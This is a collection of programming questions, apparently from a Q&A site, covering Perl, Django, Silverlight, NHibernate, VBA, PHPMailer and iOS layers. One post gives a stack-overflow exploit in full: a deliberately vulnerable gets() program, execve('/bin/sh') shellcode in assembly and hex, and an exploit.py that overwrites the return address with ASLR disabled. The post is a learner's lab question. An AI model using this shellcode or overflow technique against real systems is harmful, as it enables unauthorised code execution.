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API Wrapper Architecture Best Practice

- by Adam Taylor

Hi, So I'm writing a Perl wrapper module around a REST webservice and I'm hoping to have some advice on how best to architect the module. I've been looking at a couple of different Perl modules for inspiration. Flickr::Simple2 - so this is basically one big file with methods wrapping around the different methods in the Flickr API, e.g. getPhotos() etc. Flickr::API - this is a sub-class of another module (LWP) for making HTTP requests. So basically it just allows you to make calls through the module, using LWP, that go to the correct API method/URL without defining any wrapper methods itself. (That's explained pretty poorly - but basically it has a method that takes an argument (a API method name) and constructs the correct API call). e.g request() / response(). An alternative design would be like the first described, but less monolithic, with separate classes for separate "areas" of the API. I'd like to follow modern/best practice Perl methods so I'm using Dist::Zilla to build the module and Moose for the OO stuff but I'd appreciate some input on how to actually design/architect my wrapper. Guides/tutorials or pointers to other well designed modules would be appreciated. Cheers

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Help with understanding generic relations in Django (and usage in Admin)

- by saturdayplace

I'm building a CMS for my company's website (I've looked at the existing Django solutions and want something that's much slimmer/simpler, and that handles our situation specifically.. Plus, I'd like to learn this stuff better). I'm having trouble wrapping my head around generic relations. I have a Page model, a SoftwareModule model, and some other models that define content on our website, each with their get_absolute_url() defined. I'd like for my users to be able to assign any Page instance a list of objects, of any type, including other page instances. This list will become that Page instance's sub-menu. I've tried the following: class Page(models.Model): body = models.TextField() links = generic.GenericRelation("LinkedItem") @models.permalink def get_absolute_url(self): # returns the right URL class LinkedItem(models.Model): content_type = models.ForeignKey(ContentType) object_id = models.PositiveIntegerField() content_object = generic.GenericForeignKey('content_type', 'object_id') title = models.CharField(max_length=100) def __unicode__(self): return self.title class SoftwareModule(models.Model): name = models.CharField(max_length=100) description = models.TextField() def __unicode__(self): return self.name @models.permalink def get_absolute_url(self): # returns the right URL This gets me a generic relation with an API to do page_instance.links.all(). We're on our way. What I'm not sure how to pull off, is on the page instance's change form, how to create the relationship between that page, and any other extant object in the database. My desired end result: to render the following in a template: <ul> {% for link in page.links.all %} <li><a href='{{ link.content_object.get_absolute_url() }}'>{{ link.title }}</a></li> {% endfor%} </ul> Obviously, there's something I'm unaware of or mis-understanding, but I feel like I'm, treading into that area where I don't know what I don't know. What am I missing?

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Button Click Event Getting Lost

- by AlishahNovin

I have a Menu and Submenu structure in Silverlight, and I want the submenu to disappear when the parent menu item loses focus - standard Menu behavior. I've noticed that the submenu's click events are lost when a submenu item is clicked, because the parent menu item loses focus and the submenu disappears. It's easier to explain with code: ParentMenuBtn.Click += delegate { SubMenu.Visibility = (SubMenu.Visibility == Visibility.Visible) ? SubMenu.Collapsed : SubMenu.Visible; }; ParentMenuBtn.LostFocus += delegate { SubMenu.Visibility = Visibility.Collapsed; }; SubMenuBtn.Click += delegate { throw new Exception("This will never be thrown."); }; In my example, when SubMenuBtn is clicked, the first event that triggers is ParentMenuBtn.LostFocus(), which hides the container of SubMenuBtn. Once the container's visibility collapses, the Click event is never triggered. I'd rather avoid having to hide the sub-menu each time, but I'm a little surprised that the Click event is never triggered as a result... Anyone have any thoughts about this?

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Shellcode for a simple stack overflow doesn't start a shell

- by henning

Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

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Inherited fluent nhibenate mapping issue

- by Aim Kai

I have an interesting issue today!! Basically I have two classes. public class A : B { public virtual new ISet<DifferentItem> Items {get;set;} } public class B { public virtual int Id {get;set;} public virtual ISet<Item> Items {get;set;} } The subclass A hides the base class B property, Items and replaces it with a new property with the same name and a different type. The mappings for these classes are public class AMapping : SubclassMap<A> { public AMapping() { HasMany(x=>x.Items) .LazyLoad() .AsSet(); } } public class BMapping : ClassMap<B> { public BMapping() { Id(x=>x.Id); HasMany(x=>x.Items) .LazyLoad() .AsSet(); } } However when I run my unit test to check the mapping I get the following exception: Tests the A mapping: NHibernate.PropertyAccessException : Invalid Cast (check your mapping for property type mismatches); setter of A ---- System.InvalidCastException : Unable to cast object of type 'NHibernate.Collection.Generic.PersistentGenericSet1[Item]' to type 'Iesi.Collections.Generic.ISet1[DifferentItem]'. Anyone have any ideas? Clearly it is something to do with the type of the collection on the sub-class. But I skimmed through the available options on the mapping class and nothing stood out as being the solution here.

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Reading Xml with XmlReader in C#

- by Gloria Huang

I'm trying to read the following Xml document as fast as I can and let additional classes manage the reading of each sub block. <ApplicationPool><Accounts><Account><NameOfKin></NameOfKin><StatementsAvailable><Statement></Statement></StatementsAvailable></Account></Accounts></ApplicationPool> I can't seem to format the above nicely :( However, I'm trying to use the XmlReader object to read each Account and subsequently the "StatementsAvailable". Do you suggest using XmlReader.Read and check each element and handle it? I've thought of seperating my classes to handle each node properly. So theres an AccountBase class that accepts a XmlReader instance that reads the NameOfKin and several other properties about the account. Then I was wanting to interate through the Statements and let another class fill itself out about the Statement (and subsequently add it to an IList). Thus far I have the "per class" part done by doing XmlReader.ReadElementString() but I can't workout how to tell the pointer to move to the StatementsAvailable element and let me iterate through them and let another class read each of those proeprties. Sounds easy!

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Treeview does not refresh to show childnode moved from one parent node to another

- by mike

I am using the Windows Forms TreeView class which contains a set of TreeNodes. The TreeNodes can have child nodes. I have a root node with 2 sub nodes (Node1 and Node2) Node1 has 2 subnodes (child1 and child2) I have a function that will allow a user to select any node and move it to another node: TreeNode SelectNode = this.TreeView1.SelectedNode; TreeNode DestNode = SelectedNewNode(); //function to select a new node SelectedNode.Remove(); DestNode.Nodes.Add(SelectedNode); this.TreeView1.Refresh(); When this executes, the current selected node (child2) is removed from its current parent (Node1) and added to Node2. However, the Refresh() method of the TreeView control does not show that child2 is under Node2. If I debug it and look at the Nodes collection in the TreeView i do see that child2 is under Node2. Can anyone tell me why the Refresh() method does not redraw the new parent to child mapping? Is there a way to tell the TreeView to redraw with the new mappings?

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How to Anti-Alias Layers in iPhoneOS

- by Shannon A.

We've had Reiner Knizia's Money out for a couple of months now. It's done pretty well, and so we've been updating it as time allows. However, one thing continues to bug me. I've never been able to get my layered cards to anti-alias correctly. Here's a sample: Cards that are laid straight are very clean, but whenever they're angled the black lines around the cards get jagged. I've tried this depending on both lines implicit to the artwork and lines drawn through drawRect:, and they both do the same thing. I've tried the edgeAntiAliasingMask and it doesn't do a thing as far as I can tell. I've tried masksToBounds for the sublayers set to NO and YES. Right now my card is set up as a CALayer that has sub-CALayers for the front and the back, plus for a few other things like a lightening mask and a darkening mask. Here's some snippets of the code: CArdLayer *theCardLayer = [CArdLayer layer]; theCardLayer.edgeAntialiasingMask = kCALayerLeftEdge | kCALayerRightEdge | kCALayerBottomEdge | kCALayerTopEdge; theCardLayer.front = [CALayer layer]; theCardLayer.front.edgeAntialiasingMask = kCALayerLeftEdge | kCALayerRightEdge | kCALayerBottomEdge | kCALayerTopEdge; theCardLayer.front.bounds = theCardLayer.bounds; theCardLayer.front.masksToBounds = YES; theCardLayer.front.contents = (id)[cardDrawing CGImage]; [theCardLayer addSublayer:theCardLayer.front]; Etc ... Any ideas on how to make the cards actually anti-alias?

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Using a CALayer in UITableViewCell

- by Brian

On each cell of my table view I want to have a bar that the user can slide out from the right. On the bar I plan to have icons. So, to do this I subclassed UITableViewCell. On the cell I have implemented drawRect and in there I have already drawn a gradient and background color on the cell. From there, I can create a CALayer, give it a frame & background color, and add it as a sub layer to the Views subLayers array. I can do all that and it will display my layer on each UITableViewCell. I have added touch events to the cell so I can detect when the user touches the cell and for testing I have made it so when the user swipes, my CALayer gets wider. But the issue is, when the UITableView scrolls and reuses a cell whose CALayer has been widened, it doesn't recreate the CALayer. I have tried [myLayer setNeedsDisplay] and used the drawLayer:inContext method of its delegate and it doesn't get called. I have also tried telling call setNeedsDisplay on the cell in my UITableViewController hoping that that will cause a redraw, but it doesn't work. I'm not sure what I'm missing. I am new to CoreGraphics & CoreAnimation. I have read through the CoreAnimation Developers Guide, but I'm assuming I missing something. Any help would be great.

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Can WPF based ActiveX control use Reg-Free-COM

- by embnut

I have a WPF based ActiveX control (COM interop). I am able to use it correctly by registering the control. When I tried to Reg-Free-COM (using manifest files) the control seems to be activated, but the events (such as mouse click, RequestBringIntoView etc) dont respond. Interestingly, Double click and tab key works. I read in the this article http://blogs.msdn.com/karstenj/archive/2006/10/09/activex-wpf-gadget.aspx that " ... These upsides come with a price: the ActiveX control must be registered in the registry, which requires some kind of installation such as an .msi. The default gadget installation process cannot install ActiveX. The ActiveX control can't be access via reg-free COM. ..." Has anybody had a similar experience? Can anyone explain what is going on? Additional details: When the control is activated after it has been registered it appears as part of the COM client's UI. The control does not receive focus, its elements receive it. When using reg-free-com the control does not load correctly. 1) The control receives focus instead of its sub elements 2) The control has areas that are black instead of the windows default color 3) when I tab in and out of the control or double click it, it's subelements receive focus, the control starts receiving events and the black areas are replaced by the correct color

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Excel 2003 VBA - Method to duplicate this code that select and colors rows

- by Justin

so this is a fragment of a procedure that exports a dataset from access to excel Dim rs As Recordset Dim intMaxCol As Integer Dim intMaxRow As Integer Dim objxls As Excel.Application Dim objWkb As Excel.Workbook Dim objSht As Excel.Worksheet Set rs = CurrentDb.OpenRecordset("qryOutput", dbOpenSnapshot) intMaxCol = rs.Fields.Count If rs.RecordCount > 0 Then rs.MoveLast: rs.MoveFirst intMaxRow = rs.RecordCount Set objxls = New Excel.Application objxls.Visible = True With objxls Set objWkb = .Workbooks.Add Set objSht = objWkb.Worksheets(1) With objSht On Error Resume Next .Range(.Cells(1, 1), .Cells(intMaxRow, intMaxCol)).CopyFromRecordset rs .Name = conSHT_NAME .Cells.WrapText = False .Cells.EntireColumn.AutoFit .Cells.RowHeight = 17 .Cells.Select With Selection.Font .Name = "Calibri" .Size = 10 End With .Rows("1:1").Select With Selection .Insert Shift:=xlDown End With .Rows("1:1").Interior.ColorIndex = 15 .Rows("1:1").RowHeight = 30 .Rows("2:2").Select With Selection.Interior .ColorIndex = 40 .Pattern = xlSolid End With .Rows("4:4").Select With Selection.Interior .ColorIndex = 40 .Pattern = xlSolid End With .Rows("6:6").Select With Selection.Interior .ColorIndex = 40 .Pattern = xlSolid End With .Rows("1:1").Select With Selection.Borders(xlEdgeBottom) .LineStyle = xlContinuous .Weight = xlMedium .ColorIndex = xlAutomatic End With End With End With End If Set objSht = Nothing Set objWkb = Nothing Set objxls = Nothing Set rs = Nothing Set DB = Nothing End Sub see where I am looking at coloring the rows. I wanted to select and fill (with any color) every other row, kinda like some of those access reports. I can do it manually coding each and every row, but two problems: 1) its a pain 2) i don't know what the record count is before hand. How can I make the code more efficient in this respect while incorporating the recordcount to know how many rows to "loop through" EDIT: Another question I have is with the selection methods I am using in the module, is there a better excel syntax instead of these with selections.... .Cells.Select With Selection.Font .Name = "Calibri" .Size = 10 End With is the only way i figure out how to accomplish this piece, but literally every other time I run this code, it fails. It says there is no object and points to the .font ....every other time? is this because the code is poor, or that I am not closing the xls app in the code? if so how do i do that? Thanks as always!

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php mailer char-coding problem

- by Holian

Hello! I try to use Phpmailer to send registration, activation..etc mail to users... require("class.phpmailer.php"); $mail -> charSet = "UTF-8"; $mail = new PHPMailer(); $mail->IsSMTP(); $mail->Host = "smtp.mydomain.org"; $mail->From = "[email protected]"; $mail->SMTPAuth = true; $mail->Username ="username"; $mail->Password="passw"; //$mail->FromName = $header; $mail->FromName = mb_convert_encoding($header, "UTF-8", "auto"); $mail->AddAddress($emladd); $mail->AddAddress("[email protected]"); $mail->AddBCC('[email protected]', 'firstadd'); $mail->Subject = $sub; $mail->Body = $message; $mail->WordWrap = 50; if(!$mail->Send()) { echo 'Message was not sent.'; echo 'Mailer error: ' . $mail->ErrorInfo; } The $message is contain latin characters. Unfortunatelly all webmail (gmail, webmail.mydomain.org, emailaddress.domain.xx) use different coding. How can i force to use UTF-8 coding to show my mail exactly same on all mailbox? I try to convert the mail header width mb_convert_encoding(), but with no luck. Thank you.

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i have two mpmovieplayercontrollers and two separate subviews that they utilze... except that only o

- by theprojectabot

I would like to have both movies playing at once in their two separate sub views. They are both accessing different media. this is on an ipad with a superview and two little views 320x240 right by eachother on the xib. -(IBAction)playLeft:(id)sender{ if ([self.playerRight playbackState] == MPMoviePlaybackStatePlaying); [self.playerRight stop]; [self.playerLeft play]; } -(IBAction)playRight:(id)sender{ if ([self.playerLeft playbackState] == MPMoviePlaybackStatePlaying); [self.playerLeft stop]; [self.playerRight play]; } - (void)viewDidLoad { [super viewDidLoad]; self.view.backgroundColor = [UIColor viewFlipsideBackgroundColor]; self.playerLeft = [[MPMoviePlayerController alloc] init]; self.playerLeft.contentURL = [self movieURL]; NSLog(@"self.playerLeft %@", self.playerLeft); self.playerRight = [[MPMoviePlayerController alloc] init]; self.playerRight.contentURL = [self movieURL2]; NSLog(@"self.playerRight %@", self.playerRight); // START_HIGHLIGHT self.playerLeft.view.frame = self.leftView.bounds; self.playerLeft.view.autoresizingMask = UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight; self.playerRight.view.frame = self.rightView.bounds; self.playerRight.view.autoresizingMask = UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight; [self.rightView addSubview:playerRight.view]; [self.leftView addSubview:playerLeft.view]; //[self.playerRight play]; //[self.playerLeft play]; //[self clickedOpenMovie:nil]; } -(NSURL *)movieURL { NSBundle *bundle = [NSBundle mainBundle]; NSString *moviePath = [bundle pathForResource:@"720p5994-prores-hq_iPhone_320x240 two" ofType:@"m4v"]; //NSString *moviePath = [NSString stringWithFormat:@"http://localhost:1935/live/aStream/playlist.m3u8"]; if (moviePath) { return [NSURL fileURLWithPath:moviePath]; //return [NSURL URLWithString:moviePath]; } else { return nil; } } -(NSURL *)movieURL2 { NSBundle *bundle = [NSBundle mainBundle]; NSString *moviePath = [bundle pathForResource:@"720p5994-prores-hq_iPhone_320x240" ofType:@"m4v"]; if (moviePath) { return [NSURL fileURLWithPath:moviePath]; } else { return nil; } }

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Problem after adding <form>?

- by Mahmoud

When i added <form> to my web page, all my javascript stopped working, and when i put the form at the begining of my table submit wont work, what i am doing wrong. below is my code <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Sabay Afrah.Inc | Contact Us</title> <script src="js/clear.js" language="javascript" type="text/javascript"></script> <script src="js/SpryValidationSelect.js" type="text/javascript"></script> <script type="text/jscript"> function Checking(form){ if(empty(form.fname.value){ alert("do nothing"); } } </script> <style type="text/css">  </style> <link href="theme/style.css" rel="stylesheet" type="text/css" /> <link href="theme/SpryValidationSelect.css" rel="stylesheet" type="text/css" /> </head> <body> <form action="enterdb.php" method="post"> <table width="1000" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td align="center"> </td> </tr> <tr> <td><table width="1006" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="4"> </td> <td width="93" align="right"> </td> <td width="4"> </td> <td width="374" ><img src="images/logo.png" width="230" height="114" /></td> <td width="426" align="right" class="address"> 10 GlenLake parkway<br /> Suite 130, mailbox # 76<br /> Atlanta, GA 30328<br /> Phone #: + 678-222-3442<br /> Fax #: +678-222-3401<br /> Office hours: M-F 8:30 a.m. to 5:00 p.m.<br /> </td> <td width="99"> </td> </tr> <tr> <td colspan="5"><table width="600" border="0" cellspacing="0" cellpadding="0"> <tr> <td> </td> <td class="title"> </td> </tr> <tr> <td width="84"><br /></td> <td width="516" class="title">Contact Us</td> </tr> </table></td> <td> </td> </tr> </table></td> </tr> <tr> <td> <table width="883" border="0" align="center" cellpadding="0" cellspacing="0"> <tr class="table"> <td width="27" rowspan="10" bgcolor="#330099" class="textable"> </td> <td colspan="2" bgcolor="#330099" class="textable"> </td> <td width="29" rowspan="8" bgcolor="#330099" class="textable"> </td> <td colspan="3" class="textable"> </td> </tr> <tr > <td width="139" height="31" bgcolor="#330099" class="textable">First Name:</td> <td> <input id="fname" name="fname" type="text" size="40" /> </td> <td width="150" class="textable">Last Name:</td> <td width="265" class="textable"><table width="200" border="0" cellspacing="0" cellpadding="0"> <tr> <td ><table width="200" border="0" cellspacing="0" cellpadding="0"> <tr> <td ><input id="lname" name="lname" type="text" size="40" /></td> </tr> </table></td> </tr> </table></td> <td width="32" class="textable"> </td> </tr> <tr> <td height="30" class="textable">Subject:</td> <td> <span id="spryselect1"> <label> <select name="sub" id="sub"> <option> Choose a Subject</option> <option> General Question</option> <option> MemberShip Area</option> <option> Others</option> </select> </label> <span class="selectRequiredMsg">Please select a Subject.</span></span> </td> <td colspan="3" class="textable"> </td> </tr> <tr> <td height="33" class="textable">Company Name:</td> <td> <input id="cname" name="cname" type="text" size="40" /></td> <td class="textable">Company Address:</td> <td class="textable"><table width="200" border="0" cellspacing="0" cellpadding="0"> <tr> <td><input id="cadd" name="cadd" type="text" size="40" onclick="" /></td> </tr> </table></td> <td class="textable"> </td> </tr> <tr> <td height="31" class="textable">Phone Number:</td> <td><input id="phonen" name="phonen" type="text" size="40" /> </td> <td colspan="3" rowspan="4" class="textable"> </td> </tr> <tr> <td height="31" class="textable">Fax Number:</td><td> <input id="faxn" name="faxn" type="text" size="40" /></td> </tr> <tr> <td height="32" class="textable">Email Address:</td><td><input id="email" name="email" type="text" size="40" /></td> </tr> <tr> <td colspan="2" class="textable"> </td> </tr> <tr> <td valign="top" class="textable">Additional Information:</td> <td colspan="5" class="textable"><table width="600" border="0" align="left" cellpadding="0" cellspacing="0"> <tr> <td colspan="2" align="center"> <textarea id="add" name="add" cols="70" rows="10" /></textarea> </td> </tr> <tr> <td align="center" class="textable"> <input name="Submit" type="submit" value="Submit" onclick="Checking()"/> </td> <td align="center" class="textable"> <input type="reset" value="Clear" /> </td> </tr> </table></td> </tr> <tr> <td colspan="6" class="textable"> </td> </tr> </table></td> </tr> </table> </form> <script type="text/javascript">  </script> </body> </html>

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Silverlight for windows embedded

- by Abhi

Dear All This is my xaml file. <UserControl xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" x:Class="SilverlightApplication1.Page" Width="640" Height="480" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="d" xmlns:vsm="clr-namespace:System.Windows;assembly=System.Windows"> <UserControl.Resources> <Style x:Key="ButtonStyle1" TargetType="Button"> <Setter Property="Template"> <Setter.Value> <ControlTemplate TargetType="Button"> <Grid> <vsm:VisualStateManager.VisualStateGroups> <vsm:VisualStateGroup x:Name="FocusStates"> <vsm:VisualState x:Name="Unfocused"/> <vsm:VisualState x:Name="Focused"/> </vsm:VisualStateGroup> <vsm:VisualStateGroup x:Name="CommonStates"> <vsm:VisualState x:Name="MouseOver"> <Storyboard> <DoubleAnimationUsingKeyFrames BeginTime="00:00:00" Duration="00:00:00.0010000" Storyboard.TargetName="image" Storyboard.TargetProperty="(UIElement.RenderTransform).(TransformGroup.Children)[0].(ScaleTransform.ScaleX)"> <SplineDoubleKeyFrame KeyTime="00:00:00" Value="1.207"/> </DoubleAnimationUsingKeyFrames> <DoubleAnimationUsingKeyFrames BeginTime="00:00:00" Duration="00:00:00.0010000" Storyboard.TargetName="image" Storyboard.TargetProperty="(UIElement.RenderTransform).(TransformGroup.Children)[0].(ScaleTransform.ScaleY)"> <SplineDoubleKeyFrame KeyTime="00:00:00" Value="1.207"/> </DoubleAnimationUsingKeyFrames> <DoubleAnimationUsingKeyFrames BeginTime="00:00:00" Duration="00:00:00.0010000" Storyboard.TargetName="image" Storyboard.TargetProperty="(UIElement.RenderTransform).(TransformGroup.Children)[3].(TranslateTransform.X)"> <SplineDoubleKeyFrame KeyTime="00:00:00" Value="15.5"/> </DoubleAnimationUsingKeyFrames> <DoubleAnimationUsingKeyFrames BeginTime="00:00:00" Duration="00:00:00.0010000" Storyboard.TargetName="image" Storyboard.TargetProperty="(UIElement.RenderTransform).(TransformGroup.Children)[3].(TranslateTransform.Y)"> <SplineDoubleKeyFrame KeyTime="00:00:00" Value="17.877"/> </DoubleAnimationUsingKeyFrames> </Storyboard> </vsm:VisualState> <vsm:VisualState x:Name="Normal"/> <vsm:VisualState x:Name="Pressed"> <Storyboard> <DoubleAnimationUsingKeyFrames BeginTime="00:00:00" Duration="00:00:00.0010000" Storyboard.TargetName="image" Storyboard.TargetProperty="(UIElement.RenderTransform).(TransformGroup.Children)[0].(ScaleTransform.ScaleX)"> <SplineDoubleKeyFrame KeyTime="00:00:00" Value="0.567"/> </DoubleAnimationUsingKeyFrames> <DoubleAnimationUsingKeyFrames BeginTime="00:00:00" Duration="00:00:00.0010000" Storyboard.TargetName="image" Storyboard.TargetProperty="(UIElement.RenderTransform).(TransformGroup.Children)[0].(ScaleTransform.ScaleY)"> <SplineDoubleKeyFrame KeyTime="00:00:00" Value="0.567"/> </DoubleAnimationUsingKeyFrames> <DoubleAnimationUsingKeyFrames BeginTime="00:00:00" Duration="00:00:00.0010000" Storyboard.TargetName="image" Storyboard.TargetProperty="(UIElement.RenderTransform).(TransformGroup.Children)[3].(TranslateTransform.X)"> <SplineDoubleKeyFrame KeyTime="00:00:00" Value="-32.5"/> </DoubleAnimationUsingKeyFrames> <DoubleAnimationUsingKeyFrames BeginTime="00:00:00" Duration="00:00:00.0010000" Storyboard.TargetName="image" Storyboard.TargetProperty="(UIElement.RenderTransform).(TransformGroup.Children)[3].(TranslateTransform.Y)"> <SplineDoubleKeyFrame KeyTime="00:00:00" Value="-37.483"/> </DoubleAnimationUsingKeyFrames> </Storyboard> </vsm:VisualState> <vsm:VisualState x:Name="Disabled"/> </vsm:VisualStateGroup> </vsm:VisualStateManager.VisualStateGroups> <Image Source="bounce_media.png" Stretch="Fill" RenderTransformOrigin="0.5,0.5" x:Name="image"> <Image.RenderTransform> <TransformGroup> <ScaleTransform/> <SkewTransform/> <RotateTransform/> <TranslateTransform/> </TransformGroup> </Image.RenderTransform> </Image> <ContentPresenter HorizontalAlignment="{TemplateBinding HorizontalContentAlignment}" VerticalAlignment="{TemplateBinding VerticalContentAlignment}"/> </Grid> </ControlTemplate> </Setter.Value> </Setter> </Style> <Style x:Key="ButtonStyle2" TargetType="Button"> <Setter Property="Template"> <Setter.Value> <ControlTemplate TargetType="Button"> <Grid> <vsm:VisualStateManager.VisualStateGroups> <vsm:VisualStateGroup x:Name="FocusStates"> <vsm:VisualState x:Name="Unfocused"/> <vsm:VisualState x:Name="Focused"/> </vsm:VisualStateGroup> <vsm:VisualStateGroup x:Name="CommonStates"> <vsm:VisualState x:Name="MouseOver"> <Storyboard> <DoubleAnimationUsingKeyFrames BeginTime="00:00:00" Duration="00:00:00.0010000" Storyboard.TargetName="image" Storyboard.TargetProperty="(UIElement.RenderTransform).(TransformGroup.Children)[0].(ScaleTransform.ScaleX)"> <SplineDoubleKeyFrame KeyTime="00:00:00" Value="1.243"/> </DoubleAnimationUsingKeyFrames> <DoubleAnimationUsingKeyFrames BeginTime="00:00:00" Duration="00:00:00.0010000" Storyboard.TargetName="image" Storyboard.TargetProperty="(UIElement.RenderTransform).(TransformGroup.Children)[0].(ScaleTransform.ScaleY)"> <SplineDoubleKeyFrame KeyTime="00:00:00" Value="1.243"/> </DoubleAnimationUsingKeyFrames> <DoubleAnimationUsingKeyFrames BeginTime="00:00:00" Duration="00:00:00.0010000" Storyboard.TargetName="image" Storyboard.TargetProperty="(UIElement.RenderTransform).(TransformGroup.Children)[3].(TranslateTransform.X)"> <SplineDoubleKeyFrame KeyTime="00:00:00" Value="18.208"/> </DoubleAnimationUsingKeyFrames> <DoubleAnimationUsingKeyFrames BeginTime="00:00:00" Duration="00:00:00.0010000" Storyboard.TargetName="image" Storyboard.TargetProperty="(UIElement.RenderTransform).(TransformGroup.Children)[3].(TranslateTransform.Y)"> <SplineDoubleKeyFrame KeyTime="00:00:00" Value="21"/> </DoubleAnimationUsingKeyFrames> </Storyboard> </vsm:VisualState> <vsm:VisualState x:Name="Normal"/> <vsm:VisualState x:Name="Pressed"> <Storyboard> <DoubleAnimationUsingKeyFrames BeginTime="00:00:00" Duration="00:00:00.0010000" Storyboard.TargetName="image" Storyboard.TargetProperty="(UIElement.RenderTransform).(TransformGroup.Children)[0].(ScaleTransform.ScaleX)"> <SplineDoubleKeyFrame KeyTime="00:00:00" Value="0.6"/> </DoubleAnimationUsingKeyFrames> <DoubleAnimationUsingKeyFrames BeginTime="00:00:00" Duration="00:00:00.0010000" Storyboard.TargetName="image" Storyboard.TargetProperty="(UIElement.RenderTransform).(TransformGroup.Children)[0].(ScaleTransform.ScaleY)"> <SplineDoubleKeyFrame KeyTime="00:00:00" Value="0.6"/> </DoubleAnimationUsingKeyFrames> <DoubleAnimationUsingKeyFrames BeginTime="00:00:00" Duration="00:00:00.0010000" Storyboard.TargetName="image" Storyboard.TargetProperty="(UIElement.RenderTransform).(TransformGroup.Children)[3].(TranslateTransform.X)"> <SplineDoubleKeyFrame KeyTime="00:00:00" Value="-30"/> </DoubleAnimationUsingKeyFrames> <DoubleAnimationUsingKeyFrames BeginTime="00:00:00" Duration="00:00:00.0010000" Storyboard.TargetName="image" Storyboard.TargetProperty="(UIElement.RenderTransform).(TransformGroup.Children)[3].(TranslateTransform.Y)"> <SplineDoubleKeyFrame KeyTime="00:00:00" Value="-34.6"/> </DoubleAnimationUsingKeyFrames> </Storyboard> </vsm:VisualState> <vsm:VisualState x:Name="Disabled"/> </vsm:VisualStateGroup> </vsm:VisualStateManager.VisualStateGroups> <Image Source="bounce_photo.png" Stretch="Fill" RenderTransformOrigin="0.5,0.5" x:Name="image"> <Image.RenderTransform> <TransformGroup> <ScaleTransform/> <SkewTransform/> <RotateTransform/> <TranslateTransform/> </TransformGroup> </Image.RenderTransform> </Image> <ContentPresenter HorizontalAlignment="{TemplateBinding HorizontalContentAlignment}" VerticalAlignment="{TemplateBinding VerticalContentAlignment}"/> </Grid> </ControlTemplate> </Setter.Value> </Setter> </Style> </UserControl.Resources> <Grid x:Name="LayoutRoot" Background="pink"> <Button Height="173" HorizontalAlignment="Left" Margin="8,0,0,18" Style="{StaticResource ButtonStyle1}" VerticalAlignment="Bottom" Width="150" Content=""/> <Button Height="173" HorizontalAlignment="Right" Margin="0,0,35,18" Style="{StaticResource ButtonStyle2}" VerticalAlignment="Bottom" Width="150" Content=""/> </Grid> The above mentioned is an xaml file built using Microsoft Expression Blend 2 I have to use this xaml file as resource in my sub project using visual studio(c++). For this i have to develop a c++ code. But i am very unfamiliar with this technology and i need some guidance to obtain the task. Please also tell me where can i learn to develop a c++ code for this xaml file. I have heard that silverlight has its own API's which is entirely different from the WIN32 API's. I am familiar using WIN32 API's but unfamiliar with this Silverlight Technology. Please guide me the step or the tutorial site where i can learn the following concepts: 1. c++ coding in visual studio for SWE where xaml file is added as resource in my sub project. for ex:- How to write a c++ code for windows embedded for an xaml file which will display images which acts as a button in the emulator ?

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Menu items messed up while using MacVim with Vim Latex

- by sixtyfootersdude

I just installed macvim yesterday and I have been trying to install vim latex today. The one thing I am confused about is the menu items on the top bar: ------------------------------------------------------------------------------- <apple icon> File Edit Tools Syntax TeX-Suite TeX-Environments TeX-Elements ------------------------------------------------------------------------------- | Packages > |_____ | Templates > | 1: | | Macros > | 2: | |----------- | 3: | | Compile | 4: | | View |----- | ... | ------------- So in words if you go TeX-Suite -> Templates there is a sub menu with menu items: 1: 2: 3: 4:. Now I know that these templates live here: % pwd /Users/me/.vim/ftplugin/latex-suite/templates % ls IEEEtran.tex article.tex report.tex report_two_column.tex and they are named correctly. Also I know that the :TTemplate vim command should do the same thing. When I type that I get this result: Choose a template file: (1) IEEEtran (2) article (3) report (4) report_two_column Enter number or name of file : So I am thinking that this must be a bug in MacVim. Is this a reasonable assumption? Any fixes?

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How can I turn a column name into a result value in SQL Server?

- by Brennan

